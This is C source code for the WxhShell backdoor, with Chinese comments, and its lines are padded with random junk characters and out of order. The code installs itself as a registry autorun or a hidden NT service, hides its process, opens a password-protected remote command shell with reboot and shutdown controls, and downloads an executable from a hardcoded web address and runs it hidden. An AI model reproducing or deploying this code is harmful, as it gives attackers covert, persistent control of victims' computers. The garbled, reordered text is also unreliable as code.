ULONG UniqueProcessId; cF=W hP*f
ULONG InheritedFromUniqueProcessId; #_aq@)Fd
} PROCESS_BASIC_INFORMATION; U{Oo@ztT
YEaT_zWG0
PROCNTQSIP NtQueryInformationProcess; _h \L6.
R) dP=W*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /3^XJb$Sa
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ezY^T
RPf <-J:t
HANDLE hProcess; Oso**WUOZ&
PROCESS_BASIC_INFORMATION pbi; Qc?W;Q+
p%sizn
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %kop's&?C
if(NULL == hInst ) return 0; \xl$z*zI
B0)|sH
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EirZ}fDJzB
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7)[Ve1;/N
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +[MHl
i/'bpGrQ(
if (!NtQueryInformationProcess) return 0; &g5PPQ18
!
}e75=x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9_jiUZFje
if(!hProcess) return 0; M&29J
o3|4PAA/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {5{VGAD&]>
na~ FT[3C
CloseHandle(hProcess); p U !:
y9R%%i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jVN06,3z
if(hProcess==NULL) return 0; NQ[X=a8N
ty#6%
HMODULE hMod; Zr2T^p5u
char procName[255]; \<`oW>
unsigned long cbNeeded; XR7v\rd
rFzj\%xa[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^Mq@} 0
[pmIQ228
CloseHandle(hProcess); ~+t@7A=
u*I'c2m
if(strstr(procName,"services")) return 1; // 以服务启动 Q8h0.(#-
=. \hCgq
return 0; // 注册表启动 %dW;P[0
} uQx/o^
]>Z9K@
// 主模块 ||wi4TP
int StartWxhshell(LPSTR lpCmdLine) 0(f+a_2^Q
{ DW9MX`!Xc
SOCKET wsl; o_mjI:
BOOL val=TRUE; <dD!_S6@,
int port=0; ~@l4T_,k
struct sockaddr_in door; bfoTGi
uHZ4
@w:
if(wscfg.ws_autoins) Install(); 6.KEe^[-
]
L#c
<0
port=atoi(lpCmdLine); ^W:a7cMw
: Bo
if(port<=0) port=wscfg.ws_port; xxl|j$m
e/:? 9
WSADATA data; hI*v)c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h0k?(O
;Bz|hB{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k;t G-~\d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EwV$2AK
door.sin_family = AF_INET;
H,GjPIG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9d/-+j'
door.sin_port = htons(port); _L~ 3h
x=7:D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u=v-,Tw
closesocket(wsl); >FOCdlJ#
return 1; Ot\[Ya''
} Y
?n4#J<
d
([~o
if(listen(wsl,2) == INVALID_SOCKET) { yc3/5]E&
closesocket(wsl); )}N:t:rry
return 1; .|go$}Fk
} p~8 O6h@J
Wxhshell(wsl); j_}:=3
WSACleanup(); c,;VnZ
9wC
xcmg3:s
return 0; s6!&4=ZA
"~ $i#
} ZpOME@9,
@SxZ>|r-|v
// 以NT服务方式启动 :* ]#n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XK/l1E3N
{ nyR<pnuC'
DWORD status = 0; 62'9lriQ
DWORD specificError = 0xfffffff; 4Ps;Cor+
>I~Q[
serviceStatus.dwServiceType = SERVICE_WIN32; =Jw*T[ E
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Fs4shrt
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N_B^k8j
serviceStatus.dwWin32ExitCode = 0; A_U=`M=-
serviceStatus.dwServiceSpecificExitCode = 0; {p/Yz#
serviceStatus.dwCheckPoint = 0; +kYp!00
serviceStatus.dwWaitHint = 0; ]k]bLyz\J
B1~`*~@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K*DH_\SPK
if (hServiceStatusHandle==0) return; \ Xh
C
)6p6<y
status = GetLastError(); "k @[7
7
if (status!=NO_ERROR) Pi?G:IF
{ U7n#TPet
serviceStatus.dwCurrentState = SERVICE_STOPPED; >Q@y8*E\F
serviceStatus.dwCheckPoint = 0; Os>&:{D 4!
serviceStatus.dwWaitHint = 0; (Ytr&gh;0
serviceStatus.dwWin32ExitCode = status; Et}%)M
serviceStatus.dwServiceSpecificExitCode = specificError; d{NMG)`x\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S
WTZ6(!oW
return; %SIll
} z)^.ai,: 0
j~ds)dW%`&
serviceStatus.dwCurrentState = SERVICE_RUNNING; GEVDXx>@
serviceStatus.dwCheckPoint = 0; 'do2n/
serviceStatus.dwWaitHint = 0; r`Fs"n#^-4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z;9D[ME#1
} 3zKeN:w
6U8esPs,
// 处理NT服务事件,比如:启动、停止 sj/k';#g
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jv3G\9_
{
C&qo$C
switch(fdwControl) 1U/9=b
{
qP;1LAX
case SERVICE_CONTROL_STOP: "wZvr}xk
serviceStatus.dwWin32ExitCode = 0; 4FYV]p8f
serviceStatus.dwCurrentState = SERVICE_STOPPED; [c1Gq)ht
serviceStatus.dwCheckPoint = 0; )O+Zbn
serviceStatus.dwWaitHint = 0; R8lja%+0$
{ ?d?.&nt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %$ o[,13=
} = )3\B
return; #U%HGTE0
case SERVICE_CONTROL_PAUSE: Wm"#"l4
serviceStatus.dwCurrentState = SERVICE_PAUSED; zJ}abo6rVw
break; k.54lNl
case SERVICE_CONTROL_CONTINUE: nPI$<yW7F
serviceStatus.dwCurrentState = SERVICE_RUNNING; N3#^Ifn[
break; 3D@3jyo:
case SERVICE_CONTROL_INTERROGATE: c9jS
!uDMK
break; p JF
9Z
}; eA]8M^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xqg4b{
} xWY\,'+Q
kGnT4R*E
// 标准应用程序主函数 1CZO+MB&"$
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d42Y` Wu
{ \/ri|fm6l#
+\ "NPK@3
// 获取操作系统版本 .7Yox1,
OsIsNt=GetOsVer(); 5({_2meJ:
GetModuleFileName(NULL,ExeFile,MAX_PATH); @IbZci)1
H6nH
// 从命令行安装 Y$,~"$su|
if(strpbrk(lpCmdLine,"iI")) Install(); W-r^ME
^4]=D nd%
// 下载执行文件 V+lS\E.
if(wscfg.ws_downexe) { -"'+#9{h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o58c!44
WinExec(wscfg.ws_filenam,SW_HIDE); "S'Yn-
} +$>aT(q
(AjgLNB
if(!OsIsNt) {
2o[ceEg
// 如果时win9x,隐藏进程并且设置为注册表启动 gx^!&>eIb#
HideProc(); w]h8KNt
StartWxhshell(lpCmdLine); n;=FD;}j+
} l*wGKg"x3
else I<<1mEk
if(StartFromService()) *K?UWi#$
// 以服务方式启动 d:A'|;']
StartServiceCtrlDispatcher(DispatchTable); 2x|FVp
else 5"b1:
w@
// 普通方式启动 KCZ<#ca^
StartWxhshell(lpCmdLine); +C7W2!I[G2
l+y;>21sTu
return 0; sb_/FE5e
} cg]Gt1SU
Qp:m=f6@
/ s Apj
\@h$|nb
=========================================== nLk`W"irM
'/loJz 1
vA6onYjA
()Wu_Q
[P~7kNFOh
UB>BVBCt
" 6Xo "?f
1K|F;p
#include <stdio.h> x{ `{j'
#include <string.h> 3]}RjOTU
#include <windows.h> M?P\ YAn$
#include <winsock2.h> Br<lP#u=G
#include <winsvc.h> :}#)ipr
#include <urlmon.h> 4DL2
A;T
a0A=R5_
#pragma comment (lib, "Ws2_32.lib") * Z)j"i
#pragma comment (lib, "urlmon.lib") 4|Y1W}!0/
1Lje.%(E.
#define MAX_USER 100 // 最大客户端连接数 t(6i4c>
#define BUF_SOCK 200 // sock buffer wRK27=\z
#define KEY_BUFF 255 // 输入 buffer m&q0 _nay
:6(@P1vA 6
#define REBOOT 0 // 重启 47{5{/B-
#define SHUTDOWN 1 // 关机 {/5aF_0D.
{=J:
#define DEF_PORT 5000 // 监听端口 w9"~NK8xzM
G9jf]Ye;
#define REG_LEN 16 // 注册表键长度 )'7Qd(4WT
#define SVC_LEN 80 // NT服务名长度 ?A .ah
%c]N-
// 从dll定义API !L9]nO 'BL
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e87a9ZPm
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gi@c`lRd1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]D,_<Kk
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <0~1
tfm3IX
// wxhshell配置信息 2g_mQT
struct WSCFG { y#`;[!
int ws_port; // 监听端口 aEa+?6;D
char ws_passstr[REG_LEN]; // 口令 \=|=(kt)
int ws_autoins; // 安装标记, 1=yes 0=no vQ2{+5!|
char ws_regname[REG_LEN]; // 注册表键名 Rq?t=7fX)
char ws_svcname[REG_LEN]; // 服务名 /d"@$+
char ws_svcdisp[SVC_LEN]; // 服务显示名 PX23M|$!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 V)5,E>;EN
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SEi\H$!
int ws_downexe; // 下载执行标记, 1=yes 0=no ?< yYm;B
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8vR'<_>Q
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z9
#-
69:-c@L0
}; o F_{oV'
Y1ca=ewFx
// default Wxhshell configuration jxhZOLG
struct WSCFG wscfg={DEF_PORT, }?6;;d#
"xuhuanlingzhe", pz/W#VN
1, ;iJxJX\+
"Wxhshell", !.pcldx
"Wxhshell", }C/+zF6q
"WxhShell Service", #
&5.
"Wrsky Windows CmdShell Service", "s zJ[
_B
"Please Input Your Password: ", *h).V&::O
1, qq[Dr|%7
"http://www.wrsky.com/wxhshell.exe", &0G9v
"Wxhshell.exe" EX, {1^h
}; -,g.39u
.YB/7-%M[
// 消息定义模块 .rwW5"RPq
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nq9M$Nt]
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6r@>n_6LY
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / <+`4n
char *msg_ws_ext="\n\rExit."; cAVdH{$"
char *msg_ws_end="\n\rQuit."; Q9f5}
char *msg_ws_boot="\n\rReboot..."; $txF|Fj]^A
char *msg_ws_poff="\n\rShutdown..."; uz$p'Q
char *msg_ws_down="\n\rSave to "; ^k^?>h
:.a184ax
char *msg_ws_err="\n\rErr!"; %WmTG }L)
char *msg_ws_ok="\n\rOK!"; <*u^8lCA
@;hdZLG]`&
char ExeFile[MAX_PATH]; `*kl> }$
int nUser = 0; H=Cj/jE
HANDLE handles[MAX_USER]; N6+^}2'*)
int OsIsNt; Y8lZ]IB
SH8zkAA7u}
SERVICE_STATUS serviceStatus; B#5[PX
SERVICE_STATUS_HANDLE hServiceStatusHandle; FK-q-PKO#.
jpW_q+^?
// 函数声明 PVljb=8F
int Install(void); ?0JNaf
int Uninstall(void); [^/a`Kda8
int DownloadFile(char *sURL, SOCKET wsh); bNm]h.
int Boot(int flag); >O~V#1 H
void HideProc(void); Y2dml!QM
int GetOsVer(void); {%y|A{}c
int Wxhshell(SOCKET wsl); $[7/~I>m
void TalkWithClient(void *cs); >mEfd=p
int CmdShell(SOCKET sock); Zvfy%k
int StartFromService(void); ,PJC FQMR
int StartWxhshell(LPSTR lpCmdLine); )4:]gx#cr
<1*\ ~CX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R4k+.hR
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q uw|KL
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// 数据结构和表定义 BxQ,T@
SERVICE_TABLE_ENTRY DispatchTable[] = \>n[x;$
{ VTyj<6Y
{wscfg.ws_svcname, NTServiceMain}, 31e
O2|7
{NULL, NULL} ^~bdAO81
}; A+4Kj~`!
"f~OC<GdYs
// 自我安装 s6_i>
int Install(void) b9-3
{ Y}Y~?kE>M|
char svExeFile[MAX_PATH]; L?&&4%%
HKEY key; L=C#E0{i
strcpy(svExeFile,ExeFile); :!?Fq/!
El
:%\hGy
// 如果是win9x系统,修改注册表设为自启动 +$2`"%nBG
if(!OsIsNt) { m9&%A0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ocUBSK|K)
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D~M R)z_p~
RegCloseKey(key); T:|p[Xbo
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E:PPb9Kd
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OP-{76vE&b
RegCloseKey(key); \6"=`H0}
return 0; eT(X Ri0
} Odh r=Hs
} _RZ"WA^[
} Iu >4+6
else { co^h2b
zzW$F)X
// 如果是NT以上系统,安装为系统服务 l]&x~K}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nvNF~)mu
if (schSCManager!=0) &o1k_!25
{ V*Xr}FE
SC_HANDLE schService = CreateService )"6"g9A
( 1cRF0MI
schSCManager, HNj;_S
wscfg.ws_svcname, fM*?i"j;Y
wscfg.ws_svcdisp, G8/q&6f_
SERVICE_ALL_ACCESS, \$ss
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8_S| 8RW(
SERVICE_AUTO_START, .j**>&7L
SERVICE_ERROR_NORMAL, elpTak@
svExeFile, /_Ku:?{
NULL, }Ujgd2(U
NULL, ('\sUZ+5
NULL, |R!ozlL{}
NULL, b7T;6\[m
NULL #)[.Xz:U
); y*US^HJOZ
if (schService!=0) , `EOJ"|
{ C-h?#/#?y
CloseServiceHandle(schService); zfg+gd)Z
CloseServiceHandle(schSCManager); @M'qi=s*
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @v&